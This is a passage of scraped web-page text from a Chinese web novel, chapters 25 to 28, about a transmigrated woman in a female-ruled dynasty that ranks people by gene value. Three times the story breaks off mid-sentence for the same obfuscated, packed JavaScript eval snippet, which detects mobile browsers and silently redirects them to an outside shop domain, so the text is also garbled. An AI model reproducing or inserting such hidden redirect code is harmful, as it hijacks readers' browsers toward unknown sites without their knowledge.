$(''#content'').append('' 吴青松轻笑一声,“照你这么说,最该责罚的应该是我自己?我没有教导好男儿,才让他长成如今这副刻薄刁钻的样子……” 吴明月大惊失色,慌张否认道:“不不!不是这样的,祖母,我不是这个意思。” 吴青松阖上双眼,男子当街被砍掉头颅的画面,再次浮现在眼前。五十多年前的画面,她至今历历在目。 被杀的人,可是皇室宗亲啊!堂堂一个县主,就因责骂妻主,当街就被人砍了脑袋。 十几岁时的吴青松亲眼目睹了那场血腥的画面,她清晰地记得,男人上一秒还在嚣张跋扈地冲女子叫喊,可下一秒,他的头就落到地上,骨碌碌地向一旁滚着,血液从脖颈的断口处喷溅出来,大量的鲜血染红了地面…… 一条人命顷刻消散,而那个权势滔天的女子,只是淡定地擦着剑,声音冰冷地对周围的人说:“再有男人敢辱骂、殴打女人,下场就如此人。若有女人纵容自己男儿、弟弟、夫婿伤害其他女人,他死,你挨板子。” 仿佛突然想到了什么,那个女子嘴角扬起一抹恶劣的笑容,“哦,忘了说,如果女子纵容夫婿伤害自己,那你们两个都得死。就算一个愿打一个愿挨,也不行哦~” 女子如毒蛇般的目光扫过在场每一个人,那令人不寒而栗的目光,吴青松至今难忘。 对于自己这来之不易的孩子,吴青松原本是不想对他们太过严苛的。可大男儿现在愈发刁蛮刻薄,他不经意间流露出的神态,莫名让吴青松想到了那个被斩下头颅的男人。 为了不让一家人跟着蹲大牢、挨板子,吴青松还是硬下心肠,对从小百般宠爱的男儿训斥一番,只希望他不要走向自取灭亡的绝路。 经过这一插曲,吴梅收起了所有脾气,老老实实地坐在自己的位置上,不再过多言语。 到了快中午的时候,吴明月的母亲终于回来了,商茁不着痕迹地瞄了眼这位上门女媳,她长着一张白净斯文的脸,身材高挑匀称,能看出吴明月就是遗传了母亲的好样貌。 她一进门,就先给主位上的吴青松打了个招呼,“母亲,新年安康。” 吴青松也是一脸慈爱地看向她,“新年安康,辛苦你了,英研。” 吴英研原名齐英研,她十岁时,母亲战死,父亲改嫁,她靠着国家的补助,一个人磕磕绊绊地长大成人。后来意外来到吴氏产院学起了接产,吴青松看她在这一道上颇有天赋,便将她收为了亲传徒儿,于是齐英研便改名为吴英研。 之后,吴青松心疼徒儿孤苦伶仃一个人,辛苦一天,家里连个热饭都没有,于是便让吴英研搬来吴家住。而吴梅见到吴英研的第一眼,便喜欢上了她。时常给吴英研送自己做的鞋袜,还有自己做得点心。就这样,一来二去,两人便暗生了情愫。 后来此事被吴青松得知,她便大手一挥,将大男儿许配给了吴英研,直接亲上加亲。 25. 第 25 章 吃过午饭,几个大人在屋子里聊天,吴明月带着赵国安和商茁两人来到花园散步。 赵国安好奇地问:“明月表姐,你马上要说亲了?” 吴明月垂下眼眸,轻声道:“嗯。” 赵国安调侃道:“我之前就觉得你喜欢刘小郎,没想到你动作这么快,他去年刚及笄吧?今年你就打算定下来……” 吴家和刘家做了几十年的邻居,吴明月和刘家的男儿又是从小青梅竹马,两人早已互生情愫。 闻言,吴明月脸色一暗,半晌,她才开口:“不是他。”声音轻的仿佛一阵风经过就能吹散。 赵国安没听清,疑惑地问:“你说什么?” 一旁的商茁看吴明月的神色不对,轻轻扯了扯赵国安的衣袖,示意她不要再问了。 吴明月仿佛想通了什么,释然一笑:“国安,我要定亲的人是城东陶家酒坊的小公子。” 赵国安拧眉不解:“为什么?你明明喜……” 吴明月打断了赵国安未说完的话:“吴家不能再有一个低等净值的正夫了。” 赵国安愣住了。 商茁也有些疑惑,不是说这里人基因等级叫阈值么?怎么又变成净值了…… 吴明月声音带着苦涩:“国安,我不像你,幸运地继承了母亲的中等阈值,而我虽然是女子,但被父亲的低等净值影响,成为了一个低等阈值的人,如果再娶一个低等净值的男子,那吴家就要绝后了。” 赵国安嘴唇动了动,但却没有发出声音。 一时间,气氛有些凝滞。 商茁轻咳两声:“咳咳,这会儿有点冷了,咱们回屋吧。” 吴明月收拾了下心情,又恢复成往日温文尔雅的模样。“是有些冷,回屋吧。” 下午,拜别吴家众人后,赵家四口坐着骡车往赵家村走去。 车厢内,赵父看着沉默的女儿有些担心地问:“安安,你这是怎么了?”说着,又看向一旁的商茁。 商茁尴尬一笑,她能猜出赵国安为什么情绪不佳,但她又没有办法告诉赵父原因,这毕竟涉及吴明月的隐私。 赵国安突然开口:“爹,你知道明月姐要定亲的事吗?” 赵父愣了下,不明白女儿为什么突然这么问,但他还是点点头,“知道,听你伯父说是定的是陶家酒坊的男儿。” 赵国安看着神色平静的父亲,拧眉问道:“你之前不也说刘家哥哥和明月姐姐很相配吗?” 听到女儿的话,赵父下意识看向四周,然后低声说:“安安,以后这话不要说了。你明月姐马上就要定亲了,这话穿到陶家耳朵里,坏了两家的姻缘,于谁都不好……” 见女儿沉默不语,赵父叹了口气,无奈道:“云燕去年及笄时检测出是低等净值。你伯父那么要强的人,怎么会同意女儿再娶一个低等净值的男子。” 赵国安拧眉反驳道:“伯父自己不也是低等净值吗?” 赵父神色一暗,声音低低地说:“就是自己是低等净值,所以才更不会要一个低等净值的儿夫。”想到自己和哥哥的净值,赵父神情更加黯然,“哪个好人家的女郎愿意娶一个低等净值的男人做正夫?我和你伯父要不是有个好母亲,恐怕早就被指给人家当夫侍了……” 赵国安本来向反驳父亲的,但看到他脸上悲凉的神情,还是把话咽回了肚子里。 赵父自顾自地说:“这么多年,除了母亲,我只见过妻主一个,心甘情愿娶一个低等净值的男人当正夫的。就连、就连你伯母,当年也不是主动求娶你伯父的……” 赵父的话如晴天霹雳般将赵国安惊得久久不能回神,她不敢置信地问:“怎么会?伯母和伯父的感情一直好啊,她们、她们……” 赵父一脸平静地说:“哥哥当年对英研姐一见钟情,时常会送她些自己做的点心和鞋袜,但是英研姐并没有接受。后来的某一天,我发现哥哥手臂上的‘男贞印’没有了……” “哥哥偷偷告诉我,他和英研姐已经在一起了,但却不让我告诉母亲。直到英研姐突然发现自己有孕,哥哥害怕她不要两人的孩子,这才告诉了母亲。” “像我们这种低等净值的人,是非常难和女子有孕的,估计是因为这个,所以英研姐才没有让哥哥吃避孕丸的吧。我不知道母亲怎么和英研姐谈的,最后英研姐同意迎娶哥哥,并入赘到吴家。” 听完后,赵国安久久不能回神,她没有想到一向强势泼辣的伯父,竟然会如此卑微;而作为上门女媳的伯母,在这段感情中,竟然是掌握绝对的主动权。 一旁的商茁也被这段信息量极大的八卦惊到了。真是人不可貌相啊!看着吴父对妻主一副嫌弃不满的样子,她还以为他才是占据话语权的那位,没想到结果却相反。 这样一来,商茁就明白为什么赵父身为大户人家的公子,却嫁给了家境远不如他的赵母了。 她猜测男人的净值,就相当女人的阈值,低等净值应该就是基因比较差、生育能力比较弱,而且低等净值的男人,生育力似乎比低等阈值的女人还要差很多。不能生育的男人,和不会吐丝的蚕没什么两样,只能当个宠物赏玩。所以,没有人会娶他们做正夫,他们只能给女人当夫侍、当玩物。 几人一路无话地回到赵家,负责赶车的赵母看从车内下来的几人,一个个的表情都不太好,疑惑地对夫婿问道:“你们几个说什么了,怎么都苦瓜脸了?” 赵父勉强扯出一抹笑容,对妻主说:“没事,孩子估计都累了。” 几人刚进屋,就听到“梆梆”的敲门声。 赵父打开门,只见一个身穿簇新细布衣衫的女子站在门前,声称自己是定国候府的侍女,奉她们家煜女君的命令,来给商女君传话的。 赵父连忙把人请到家里,又唤商茁出来。 侍女看到商茁,恭敬地行了一礼,“商女君,新年安康~我奉煜女君命令,特来邀您一同赏花灯。” 商茁疑惑道:“今天?” 侍女笑着说:“十五晚上,城内会有花灯宴,我们女君邀您一同出游。” 商茁摸了摸下巴,思考了片刻,说:“你回去告诉云煜,我去的话,我姐姐也会一同前去。” 侍女一副果然如此的表情,“来之前,我们女君就料到您会这么说~” 商茁挑挑眉,“哦?几日未见,你们女君竟学会了占卜之术?” 侍女被逗得“扑哧”一笑,“您说笑了~我们女君说了,您和赵女君两人向来焦不离孟、孟不离焦的,您带谁前来,是您的自由~” 商茁点点头,表示自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17066435|192902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 答应了。 见状,侍女递过来一个牌子,“戌时,我们女君在‘闻弦歌’茶楼等您。” 商茁接过牌子后,侍女便行礼告辞了。 看着马车离去的背影,商茁手指下意识地摩挲着冰凉的木牌,她觉得这个名叫“闻弦歌”的茶楼,不太像云煜的风格,更像是那位云世女会去的地方。 休息的日子总是过得格外快,不知不觉,假期已经过去一大半了。 初十这日,天气格外晴朗。 赵国安带着商茁往村后走去,那里有一大片空地,两人准备在那儿放风筝。谁知道,两人还没走到地方,身后就传来一道雀跃的声音。“安姐姐!” 听到声音,赵国安身体猛地一震,脸顿时皱成一团。 商茁看着瞬间带上痛苦面具的赵国安,心里有些好笑地想着,“这个赵春花的杀伤力,比军校的极限训练还大……”毕竟她可从来没有见赵国安哪次训练有皱过眉头的。 毕竟是自己异母异父的亲姐妹,商茁也不忍心看赵国安整天被个男人吓得如同惊弓之鸟一般。她用手肘撞了撞赵国安,轻声说:“要不要我帮你拒了这朵桃花?” 赵国安眼睛一亮,刚想点头,又迟疑地说:“还是别了吧。阿英姐就这一个亲弟弟,你把他骂哭了,我不好给阿英姐交代。” 商茁抽了抽嘴角,有些无语,“你对我是不是有什么误解?我有这么凶么?” 赵国安觉得也是,商茁向来待人处事和和气气的,没跟人急过眼。而且想到商茁能把定国候说服的口才,最终还是同意了,不过依然小心叮嘱道:“你嘴下留情哈,男儿家脸皮都薄,别说重了,万一他有什么想不开的……” 商茁吐槽道:“你这样,也难怪那个赵小郎对你念念不忘了。”说着,她冲赵国安摆摆手,“好了,我都知道了,你去找个地方躲下吧,剩下的交给我。” 赵国安环顾了下四周,看到不远处的老松树眼睛一亮,她快步走到松树前,三两下便爬到了树上。 商茁看了眼松树,确认看不到赵国安的身影,这次转身往后面看去。 急匆匆跑过来的赵春花,找了一圈都没有看到赵国安的身影,便对商茁问道:“请问女郎,怎么没看到安姐姐?明明刚才她还在这里的……” 商茁却没有回答他的问题,反而问道:“赵小郎,你喜欢国安姐吗?” 赵春花红着脸,扭捏地说:“我、我喜欢安姐姐好久了……” 商茁又问:“那你觉得她喜欢你吗?” 闻言,赵春花愣住了,他垂着头,没有再说话。 商茁轻声道:“感情是双向的,你有喜欢她的权力,她有拒绝你的自由。你追求自己喜欢的人,这件事本质上没有错,但在对方拒绝之后,依然追着不放,其实是对她的一种骚扰。” “国安姐外表大大咧咧、豪放不羁,但是她内心是个很温柔的人。因为担心会伤害到你,所以尽管她对每次突如其来的打扰已经很头痛了,但她依然会耐心地面对你,只为让你保留男子的体面,不让旁人看轻你……” “她已经用她能想到的最委婉的方式拒绝了你,你也心知肚明,但为什么还要一而再地打扰她呢?” “我、我……”赵春花死死地捏着衣角,有些不知所措。 26. 第 26 章 看着赵春花惶恐无措的样子,商茁也不忍心再继续说下去,刚想摆手让他先回去,耳边就传来一声流里流气的口哨声。 “哟~这不是春花吗?今日换人了?不追着国安跑了?”一个神态轻佻的女子对赵春花调笑道。 看到来人,赵春花下意识地往商茁身边躲。 “诶!你躲什么躲!你不是恨嫁么?赵家村谁人不知!我每月可是能领五两补助的!你要是听话些,我勉强考虑娶你当我的第九房夫侍,让你跟着我吃香喝辣……”女子不怀好意地朝赵春花身上上下打量。 赵春花吓得花容失色,一个劲儿地往商茁身后躲。 商茁上前一步,挡住了女子的目光,“这位姐姐,我观您的年龄,当赵小郎的母亲都绰绰有余,身为长辈,对晚辈说这种不三不四的话,就不觉得有失身份吗?” 女子冷哼一声,“你又是哪根葱?敢管姑奶奶我的事儿!一边去!”说着便要伸手去抓商茁身后的赵国安。 “谁料商茁迅速扣住女子的手腕,反手一拧,直接将她按向地面,“国家为女子发放多少补助、提供多少岗位,为了让女子能堂堂正正地站着讲话,又花费了多少心血与努力!你不但不努力上进回报国家,竟还仗着国家的恩赐为非作歹!简直是可恶至极!” 女子根本没听清商茁在说什么,她的注意力全在自己的胳膊上了,“痛痛痛!我的胳膊要断了!女侠饶命啊!我知道错了!”女子痛哭流涕地求饶道。 商茁看着摇尾乞怜的女子,神情更加冰冷。她明明还有一只手,完全可以试着反击,哪怕是怒骂,疯狂反击,商茁都觉得她不算无药可救。 明明是在爱和鼓励中长大,但她却长成了如此不堪的样子,明明享用着国家的资源倾斜,世界的大门都为她大开,她可以从政、从商、从工、从文、从武……只要她愿意,她可以轻松踏足另一个世界女性梦寐以求的地方。 可是,她却偏偏选择成为一个游手好闲、欺软怕硬的无赖。 眼看女子憋得通红的脸,赵春花磕磕巴巴地劝阻道:“商、商女郎,你放了她吧,她也没有碰到我。”剩下的半句话,赵春花没有说出口,“村子里的人怎么看自己的,自己心里都清楚。其实不光她们觉得他配不上赵国安,他自己心里也是这么想的。” 闻言,商茁如含冰渣似的目光移到赵春花脸上,她看到赵春花瑟缩着低下了头,不敢看她。商茁莫名觉得有些荒诞,她不知道是该夸赵春花心胸宽广,还是,愚善? 商茁微微用力,将女子拉了起来,看着对方呼哧呼哧地大口喘着气,商茁朝一旁的赵春花抬了抬下巴,“回家去吧。” 赵春花点点头,小步小步地从女子身旁移过,刚走两步,他又回头叮嘱道:“你可千万别杀她啊!赵大柱虽然平时有些不着调,但人其实还挺好的……” 看着商茁越来越冷的神色,赵春花吓得噤了声。 商茁冷冷地扯了扯嘴角,对赵春花露出一个皮笑肉不笑的假笑,“我知道了,她不打你的时候还是对你挺好的,是吧?” 赵春花愣了下,看着商茁不善的脸色,小声说:“她没打过我。” 商茁深吸一口气,不耐烦地说:“快走吧你!” 赵春花被吓了一跳,猛地缩脖,在商茁阴沉的脸色中,忙不迭地往家里跑去。 见赵春花走远了,商茁松开了钳制住女子的手,就在女子刚想离开时,后背却被人猛地踢了一脚。 “哎呦!” 女子刚想回头骂商茁言而无信、背后偷袭时,却看到赵国安举起了她那沙包大的拳头。 女子表情瞬间从愤怒变成了狗腿地讨好,“是国安啊~你这是干啥?我和你娘可是朋友,快快、松开我的衣服……” 赵国安火冒三丈地说:“你不光是我娘的朋友,也是阿英姐她娘的朋友!你竟然想对春花行不轨之事?!你算什么女人?!” 听到赵国安的话,女子连连摆手,“国安啊,这都是误会!你听我解释啊……我没想怎么春花,我就是逗逗他啊!” 赵国安领着女子的衣领将她提了起来,表情阴沉地说:“再有下次,我就把你的腿打断!” 女子连连点头应承,“好好好!你放心,绝对没有下次了!” 放女子走后,商茁和赵国安都没有了放风筝的心情。 两人沉默着来到空地,呆呆地站在那里,谁也没有说话。商茁看着远处的山峰,许久,问道:“国安姐,你们村子里,像赵大柱那样的女人多吗?” 赵国安愣了下,脑海里飞快地闪过一张张人脸,表情凝重,“……不少。” 商茁自言自语地说:“就连京城附近的村子都是这样,那偏远地方更不用想了,就没有法律约束她们吗?” 赵国安无奈地说:“没办法,大朝女少男多,国家对女子有大量的补贴和相关的保护律法,她没有叛国或者杀害其他女子,谁也不能拿她怎么样。” 商茁眉头紧蹙,“就像今天这样,如果我们都没在,那赵小郎不就危险了?” 赵国安沉默片刻,答道:“女子的青睐是赏赐,她如果真的得逞,按律法是必须娶春花的。” 商茁不敢置信地问道:“就这样?对于犯罪人一点处罚都没有?!” 赵国安轻叹一声:“国家是鼓励女子多娶、多生的,如果女子没人只娶一个夫侍,那有许多男子要孤苦一生了。从某方面来说,她们是为国家做了贡献的。” 商茁却坚定地反驳道:“这样不对!低素质的母亲很难教养出来优秀的孩子,国家也不应该放任女子这样颓废,国家有责任帮助她的子民变得更好!一味的宽容,只会养出一群附在国家身上吸血的水蛭!” 赵国安呆呆地看着义愤填膺的商茁,对方坚定的神情、铿锵有力的话语,在她脑海中一遍遍回荡。有些时候她也会觉得律法有些不对,但她又不知道从何讲起,毕竟作为女子,国家一切律法都是优待于她的,国家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17069915|192902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对她已经非常好了,她不该对国家太过苛责……可是,她心里总是有种莫名的不安。 商茁的话点醒了她,“对啊,不用努力就可以过得舒舒服服,那谁还愿意努力工作?明明国家现在很多岗位都缺人,甚至有的酒楼师傅一个人会接两家的工,上午去这家,下午去那家……但是,不管再怎么缺人,商家都不会招男人——因为律法不允许。” 回过神的赵国安发现商茁在来回踱步,甚至情绪越来越急躁。“这样不行!太危险了!太危险了!没有人发现吗?为什么还不修改?” 商茁大脑飞速地推演着大朝的未来,她惊恐地发现,不管多少次,按照当下的律法、政令,等待大朝的,只有毁灭。 学过的王朝兴衰的历史告诉她,生于忧患死于安乐。 老虎打盹的时候,猴子就敢出来撒欢儿;在女人停下脚步,安于享受的时候,男人不会再安分,他们会试图夺取政权。而且,大朝还有一位虎视眈眈的邻居,特别是,这位邻居家里资源匮乏,而大朝又地广物博。 商茁颓唐地坐在一旁的石头上,她不知道要怎么帮助这个国家,这个一直温柔包容她的国家。虽然不是这个世界的人,但商茁已经把这里当成了自己的家乡。她希望大朝能够继续传承几百年、几千年,女人们能够一直强壮、自信,掌握话语权。 赵国安担忧地看着一脸黯然的商茁,“阿茁,你怎么了?” 商茁声音又低又轻,“国安姐,我害怕,我怕大朝这座大厦会倾倒……” 赵国安此刻却异常坚定,“不会的!大朝还有那么多女子在奋斗着,我们有那么多的军校姐妹在外驻守,保护着国家;还有文院!里面汇聚了整个大朝的聪明人,她们肯定会有人能像季丞相那般厉害!实施更好的政令……大朝还有、还有你,有我!我们一起努力,将大朝变得更好,大朝一定会一直传承下去!” 看着赵国安深信不疑的表情,商茁轻笑一声,点点头,“对,还有我们,还有那么多优秀的姐妹们,大朝会一直传承下去的。” 温暖的阳光像一层金线纺成的纱,轻柔地披在了两个年轻人的身上,将她们变得闪闪发光。微风拂过她们的发梢,像是为她们加油鼓气。 这日回去后,商茁将自己的人生规划做了修改,她原本是想毕业后去开家沙县小吃,安稳度日。但是,现在她却想,如果更努力、更优秀,这样毕业之后,是不是有可能被推荐官职?只有当上官,能够上朝议事,这样才能有影响政令的资格。 时间悄无声息地来到十五,和云煜约好赏花灯的日子。 原本商茁看天色还早,还想着再等会儿再出发,结果一阵‘哒哒哒’的马蹄声,径直在赵家门口停了下来。一个身穿制服的车妇笑容可掬地和她打了声招呼,“商女郎元宵安康~小人奉世女吩咐,来接您和赵女君两人去茶楼赴宴。” “世女?”商茁在心里默默地咂摸着这个称呼,看来,茶楼果然是那位云世女选的。 27. 第 27 章 马车行驶了两刻钟左右,最终停在了城中繁华路段的一角。 “二位女君,‘闻弦歌’已经到了。”车妇朝车厢内恭敬说道。 商茁走出车厢,刚下车,就被眼前的景象给震撼了。明明是冬日,但这座茶楼外面竟然摆满了生机盎然的绿植,虽然不知道品种,但光看独特的造景,就能知道这些绿植身价不菲。 门口站着的绿衣女子看到有客人前来,脸上挂着标准的微笑,上前迎接,“二位女君元宵安康,请出示您的‘雅牌’。” 商茁将云煜给她的木牌递了过去,女子双手接过,看了眼牌子,眼眸中的笑意更加真挚,“您的雅间是‘音’,您的朋友已经到了,请随我来。” 女子带着两人从茶楼典雅气派的大厅走过,来到一处美如画卷的花园。商茁站在曲折的回廊间看着两侧的美景,觉得好像在看一部制作精良的CG动画。 一颗颗虬曲多姿的梅树,盛开着朵朵红梅,在冬日中傲然挺立,寒风吹过,园子里便下起了红色的花瓣雨;形态各异的假山叠石错落有致地堆砌成不同的造型,而且茶楼主人竟然还引来了活水,在假山上模拟出了瀑布样式的景观……移步换景,花园里的景致随着行走不断变换。 直到女子将两人带到一处房间前,“两位女君,雅‘音’到了。” 商茁沉浸在美景中的意识这才被唤回,她冲带路的女子点点头,走到门前抬手轻敲两下。 “商茁,你们怎么这么晚才到!我都等了好久!” 还没见到人,属于云煜标志性的傲娇腔调就先一步冲出门外。门刚打开,一道人影便朝商茁冲了过来,一把抱住商茁,“嘻嘻,我就知道你不会失约的。” 商茁嘴角抽了抽,“在你心里我到底是什么形象啊?答应过的事,还要你担心会不会失约……” 云煜松开了商茁,撇了撇嘴,“谁让你动作这么慢!我们都到好久了,也不见你们来,我只好让阿姐来接你们了。” 说到这里,云煜又朝一旁的赵国安伸出拳头,“赵同学,元宵喜乐。” 赵国安伸手和她碰了碰拳,笑着说:“云煜同学,元宵喜乐~” “云煜,你是打算让你的朋友在门口喝西北风喝到饱吗?”一道淡漠的女声凉凉说道。 云煜摸了摸鼻子,有些尴尬地招呼商茁她们,“都快进来!你们也不提醒我下,我都忘了请你们进来了……” 赵国安豪爽一笑,“没事,今天不冷。” 屋子里的装修风格也是雅致清幽的风格,清淡舒缓的香味从香炉里飘出,萦绕在整间屋子。 见到她们走过来,一女一男从桌边站起,女子朝她们行了个文士礼,“商女君、赵女君,幸会。” 看着对方面如冠玉的容貌、文雅的风姿,一举一动尽显不俗的气质,商茁这才知道所谓的高门大户精心培养的接班人不是说着玩儿的。 商茁抱拳向云熠行了个武士礼,“云熠女君,又见面了。” 听到商茁的话,赵国安这才将马球赛上的人脸和云熠对上,原来云熠就是军文马球大赛上文院队的指挥。她一起抱拳行礼,“云熠女君,元宵安康。” 几人见过礼后,一道纤瘦的身影迫不及待地上前对着商茁一福,“商女郎,好久不见~” 看着眼前这个被面纱遮住一半脸的男人,商茁迟疑地说:“云公子?” 云雾眉心微蹙,不开心地抱怨道:“这才几天没见,商女郎就不记得我了嘛?” 商茁尴尬地摸了摸鼻子,说实话,她刚开始还以为这是云熠带的小侍或者通房之类的,都没好意思往他那边看。 云熠给弟弟了个警告的眼神,云雾这才收起不悦,哀怨地瞪了眼商茁,向几人又福了一礼,站到了姐姐身后。 云熠脸上带着恰到好处的笑容,对商茁微微颔首,“小弟言行无状,还望商女君见谅。”说着又伸手邀请几人落座。“大家坐下聊吧,这里的‘霜降梅露’还不错。” 云煜打圆场道:“哈哈哈,我弟弟自从上次看了马球比赛后,就对咱们军校生十分崇拜,得知今日我们要来赏花灯,就央求我带他一起来,你们不介意吧?” 商茁和赵国安连忙摆手说不介意。毕竟在人家的地盘,哪儿能不给人家面子。 谁知,一旁悠闲喝茶的云熠不紧不慢地来了句,“介意又如何,你能现在把人重新送回去吗?” 云煜脸上的笑容顿时凝固在脸上,一旁的云雾也是垂着头不敢说话。 云煜哀求地看着长姐,希望阿姐不要在好友面前揭弟弟的短。虽然弟弟得知几人要共赏花灯后,偷偷躲到马车上一同前来,有失大家公子风范,但云雾毕竟是两人的亲弟弟,没必要让他颜面尽失。 云熠朝茶盏轻轻吹了口气,抿了一口,没有再说什么。虽然弟弟不得体的行为很让她不喜,但她也没有想过让他失了男子该有的体面。 见长姐没有再说什么,云雾慢慢松开了紧攥着的手掌,几道被指甲掐出的红痕明晃晃地印在掌心。 自马球比赛之后,他就再也没有见过商茁,所以哪怕知道这次回去会被长姐责罚,但他依然选择躲藏到马车上和姐姐们一起出来。 他曾去过李大夫的医馆,试图偶遇商茁,可最终都无功而返。云雾心里有种隐隐地惶恐,潜意识告诉他,自己必须要抓紧时间虏获商茁的心,不然,她就要被别的男子抢走了! 想到马球比赛时,公主躺在商茁的怀中,和她甜蜜对视的情景,云雾简直要忮忌得发狂!明明是他先认识的商茁!凭什么要被谢滴星那个贱人捷足先登! 满心的忮忌和不甘快要将云雾吞没,他都想好了,这次和商茁见面时,他一定要把生米煮成熟饭!就凭商茁正直端方的品行,和他有过妻夫之实后,肯定会娶他的!到时候看谢滴星那个荡夫还能怎么办!他有本事嫁给商茁做夫侍,看自己不把他磋磨死……哼,正夫想要拿捏一个小侍,那还不是手到擒来。 几个女人在一起聊着些学习上的事,云雾就乖巧地坐在一旁,看谁的茶水没有了,便帮她们续上。 本来是在聊军校和文院的一些课程,不知谁起的头,聊着聊着便聊起了国家大事。 “大朝这些年对商户们的赋税越来越高了,长此以往,做生意的人只会越来越少……” 云熠眼中满是沉重,“百姓日后怕是连买斤盐巴,都要跑到像京城这样的大城镇。” 商茁则要想得更多,她轻声说道:“若只是需要跑远点,这还是小事。” 看到长姐被反驳,云煜急冲冲地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17079745|192902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为长姐说话:“喂,商茁你脑子是不是被风吹傻了?买斤盐巴要多走几十里路,这还算小事?” 云熠睨了妹妹一眼,云煜立马噤声。没人插话了,商茁便继续讲道:“若是整个大朝只剩两三件商户,市场被垄断,产品的定价权岂不是都要被她们说了算?一壶酱油卖几十两,一匹细布卖几百两……” “这些忍忍可以先不买,但是若是家中有人生病呢?到时一包普通的风寒药,可能要卖上天价。” “全国的金钱会流向少部分人的钱包,大部分人都要过着饥寒窘迫的生活,恶性循环一旦开始,整个国家都有可能瘫痪。” 听着商茁描述的未来,云煜和赵国安都不禁打了个寒颤,云煜搓了搓胳膊,抱怨道:“你这也太危言耸听了吧!听得我都要起鸡皮疙瘩了。” 赵国安蹙眉道:“所有的物价都上涨,那军中的粮草、马匹,该如何保证,若是物资紧缺,战士们该怎么抵挡鞑族的铁蹄……” 一旁的云熠却没有说话,因为她知道,商茁说的都是很有可能会发生的事。她定定地看着商茁,开口道:“商女郎,日后可有想过做何职业?” 商茁裂了咧嘴,轻笑道:“你要是早两天问我,我都可能会告诉你,‘我还没有想好到底是开家秦镇米皮,还是开家沙县小吃?’” 听到商茁的话,云熠的眼中也带了几分笑意,“那现在呢?” 商茁一脸认真地说:“我想入朝为官,只要可以入朝议事,哪怕是个七品芝麻官也行。” 得到自己满意的答案后,云熠笑道:“我今年就要毕业了,之后便会入朝为官。你毕业后,如果没能被军校举荐,就来找我吧。” 云熠就这样轻飘飘地给出了令所有平民学子梦寐以求的许诺。 商茁毫不推脱地应下了,“我记住了。” 两人相顾一笑,彼此都觉得以后的朝堂上,能有个人和自己并肩而行,一起为大朝努力,自己心里轻松许多。 “砰!砰!” 鲜艳的烟花在天空中炸响,屋子里的几人才意识到她们已经聊了许久,元宵灯会已经开始了。 “走喽走喽!赏花灯去~”云煜起身,一马当先地往外走去。其余几人也跟在她的身后,朝茶楼外面走去。 云雾看着走在自己身前的商茁,深吸一口气,暗暗地为自己鼓劲儿,“别怕云雾,一定会成功的!” 此刻的外面已经大变样,整条大街都是灯火通明,街道两旁摆满了卖花灯的小贩们,各式各样的花灯,看得人眼花缭乱。 “哇!阿姐快看,那条锦鲤灯比我去年买的还要大!”说着,云煜便朝鲤鱼灯跑去。 “云煜,别乱跑!”看着妹妹撒欢儿的背影,云熠捏了捏眉心,后悔听了云煜的话,没有带侍卫。此刻她只能自己充当侍卫的角色,跟在她的身后,以免这个冒失的家伙,又惹出什么麻烦来。 眨眼的功夫,一行人只剩商茁、赵国安和云雾三人,看着街上来来往往、摩肩接踵的游人。商茁轻叹了声,将云雾护到身后,“云公子,跟进我们,不要分心走散了。” 云雾看着灯光下,心上人仿若天神般的侧脸,心中的欢喜“咕嘟咕嘟”只冒泡。他捏着嗓子,羞涩地说:“茁姐姐,你放心,我会跟好你的~” 28. 第 28 章 这突然的一声“茁姐姐”,把商茁雷得头皮发麻。她搓了搓胳膊,白毛汗都要吓出来了。 商茁有些无语地看了眼云雾,只见对方垂着头,红着脸,一副腼腆小白兔的模样。她清了清嗓子,“咳咳,云公子,今天应该是元宵节吧?” 云雾不明所以地点点头。 商茁皮笑肉不笑地说:“我寻思着,中元节还远着呢,您刚才的一嗓子,吓得我以为你被什么东西上身了呢。” “扑哧。”赵国安一个没忍住,笑出声来。 云雾哀怨地看着商茁,“我们已经这么熟悉了,而且你还是我姐姐的朋友,我叫你一声‘茁姐姐’怎么了?” 商茁婉拒,“咱们见面的次数一只手都能数过来,除了名字和性别,你还了解我什么?哪里熟悉了……而且,女男授受不亲,为了云公子的名声着想,你还是叫我商女郎吧。” 云雾恨恨地扯了扯手中的手帕,他以为是因为谢滴星的原因,才导致商茁对他这么疏远,明明之前商茁还愿意背他。 商茁觉得等了有一个世纪那么久后,云家姐妹俩终于回来了。云煜提着自己的锦鲤灯给众人展示,“你们快看!我的鲤鱼王还会动!”在她的操控下,鲤鱼灯果然如同在水里游着般,扭着身子,摆了摆尾巴。 赵国安十分捧场地惊叹道:“好厉害!我第一次见还好动的花灯!” 